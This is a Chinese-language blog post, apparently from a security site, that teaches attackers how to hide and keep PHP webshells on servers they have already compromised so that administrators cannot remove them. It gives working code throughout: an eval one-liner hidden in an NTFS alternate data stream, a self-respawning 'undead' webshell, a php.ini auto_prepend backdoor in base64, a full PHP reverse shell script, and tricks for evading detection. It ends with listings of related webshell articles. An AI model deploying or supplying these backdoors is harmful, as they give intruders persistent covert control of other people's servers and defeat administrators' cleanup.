php后门隐藏技巧大全

VSole2022-08-06 08:54:35

辛辛苦苦拿下的 shell,几天没看,管理员给删了。

其实隐藏的技巧也有很多

1.attrib +s +h

一创建系统隐藏文件:

attrib +s +a +r +h

attrib +s +h 文件名

在 Windows 10下即使开启了显示隐藏的项目,或dir仍然看不见。

2. 利用 ADS 隐藏文件

NTFS交换数据流(Alternate Data Streams,简称 ADS)是 NTFS 磁盘格式的一个特性,在 NTFS文件系统下,每个文件都可以存在多个数据流。

通俗的理解,就是其它文件可以“寄宿”在某个文件身上,而在资源管理器中却只能看到宿主文件,找不到寄宿文件。利用ADS 数据流,我们可以做很多有趣的事情。(抄的)

首先创建 ADS 隐藏文件

在命令行,echo 一个数据流进去,比如 index 文件是正常文件。

echo ^<?php @eval($_REQUEST[1]);?^> > index.php:shell.jpg

这样就生成了一个不可见的 index.php:shell.jpg

使用dir /r查看

可使用命令直接修改,要删除的话 直接删除 index.php就ok了

第二步,直接使用正常文件包含。

做一些免杀
把 index.php:shell.jpg hex 编码
<?php
$a="696E6465782E7068703A7368656C6C2E6A7067";
// index.php:shell.jpg hex编码
$b="a";
include(PACK('H*',$$b))
?>

3.php环境变量留shell

在c盘创建这个目录

丢个图片一句话

然后文件包含,就好。为了隐蔽可以包含图片马,txt等。

4.不死马

运行后,会删除自身,生成一个 webshell.php,管理员删除后还会生成。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}

解决覆盖重写或者重启 web 服务删掉即可。

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','clear');
sleep(1);
}

5. php.ini后门

将下面后门写入php.ini

allow_url_include=On
auto_prepend_file="data:;base64,PD9waHAgQGV2YWwoJF9SRVFVRVNUW2NtZF0pOz8+"
// base64 <?php @eval($_REQUEST[cmd]);?>
// 后门类型可自己修改。

这些做好后,重启 web 服务就好了。

方法1. 如果权限很大的话,自己手动重启,缺点容易暴露,重启服务,就要上服务器,某里的服务器,异地登陆有短信提醒。

方法2.就是加载一个 php_socke.php 脚本,让他重新加载 php.ini

此后门,任何php都可菜刀连接

<?php
/******************************/
/*  只适用于windows系统  */
/******************************/
while(true){//别问我为什么要死循环,我也不清楚,只有设置成死循环才能加载新的 php.ini ...
@set_time_limit(0);
$system=strtoupper(substr(PHP_OS,0,3));
if(!extension_loaded('sockets'))
{
if($system=='WIN'){@dl('php_sockets.dll')ordie("Can't load socket");}
}
$host='255.255.255.255';// 搞一个不存在的ip,万一给人家反弹过去了岂不是真尴尬了~~~
$port=1998;//别问我为什么是1998,问了我也不会告诉你....
if($system=="WIN"){$env=array('path'=>'c:\\windows\\system32');}
$descriptorspec=array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"),);
$host=gethostbyname($host);
$proto=getprotobyname("tcp");
if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0){die("Socket创建失败");}
if(($ret=@socket_connect($sock,$host,$port))<0){die("连接失败");}
else{
$message="PHP反弹连接\n";
@socket_write($sock,$message,strlen($message));
$cwd=str_replace('\\','/',dirname(__FILE__));
while($cmd=@socket_read($sock,65535,$proto))
{
if(trim(strtolower($cmd))=="exit"){
socket_write($sock,"Bye\n");exit;
}else{
$process=proc_open($cmd,$descriptorspec,$pipes,$cwd,$env);
if(is_resource($process)){
fwrite($pipes[0],$cmd);
fclose($pipes[0]);
$msg=stream_get_contents($pipes[1]);
socket_write($sock,$msg,strlen($msg));
fclose($pipes[1]);
$msg=stream_get_contents($pipes[2]);
socket_write($sock,$msg,strlen($msg));
$return_value=proc_close($process);
}
}
}
}
}
?>
//此脚本非百分百成功

6. 关键字拆分,多文件包含!

比如一句话:@eval($_POST['x']);我们可以写成$a=$_POST['x'];@eval($a);

我们可以将 $a=$_POST['x'];写入一个文件 POST.php

然后在 @eval($a); 一句话的上方使用 include "POST.php";的方式引用!

7.将真正的一句话写入数据库

当我们发现源码有个地方执行了数据库操作,那我们就可以改源码和数据库啦~

比如,修改成 eval(查出的数据);

8.以下是linux的

无意中发现的。具体看代码。

<?php
$webpath = dirname(__FILE__)."/";
file_put_contents($webpath ."guige.jpg".chr(9).".php","保存的内容(比如写
个一句话)");
?>

生成一个文件。

在目录下看到是显示 名字为 guige.jpg

但是 web 浏览 却发现 没有找到 guige.jpg 后来发现 需要添 guige.jpg%09.php  

这样的话就导致我们可以对后门隐藏了。。管理员看到的是.jpg 我们却可以 web 用.php 解析来

连接。。。有用的到的可以看看。

phpeval
本作品采用《CC 协议》,转载必须注明作者和本文链接
php后门隐藏技巧大全
2022-08-06 08:54:35
辛辛苦苦拿下的 shell,几天没看,管理员给删了。 其实隐藏的技巧也有很多
史上最全一句话木马
2022-10-26 09:29:39
史上最全一句话木马
审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。
0x00 前言常见webshell管理工具的分析记录,着重在流量侧。0x01 caidao1、配置使用菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。支持动态脚本[如php/jsp/aspx/asp]的网站!新版antSword的ua也做了随机变换。在内置的rot13编码和解码器下,数据会通过随机变量传递给str_rot13函数,通过变换还原后再交给eval函数执行。
写在前面关于无字母数字Webshell这个话题,可以说是老生常谈了。之前打 CTF 的时候也经常会遇到,每次都让人头大,所谓无字符webshell,其基本原型就是对以下代码的绕过:PHP中的异或来看这样一段代码:
ThinkPHP框架漏洞总结
2023-05-18 15:25:22
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。preg_replace这个函数使用方法如下:preg_replace. 关于/e的解释:e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;> #需要进行url编码
Webshell-Sniper是一款使用Python编写的基于终端的Webshell管理器,和以往我们分享的Webshell管理工具有所不同,所有操作都在终端中完成。使用它可对您的网站进行远程管理。虽然它没有图形化的GUI也没有WEB界面,但这样的操作也是另有一翻感觉。功能基于终端的shell交互反向连接shell数据库管理Webshell-Sniper安装与使用环境服务端 :. 需要注意的是,Webshell-Sniper服务端只支持Unix系统环境。
VSole
网络安全专家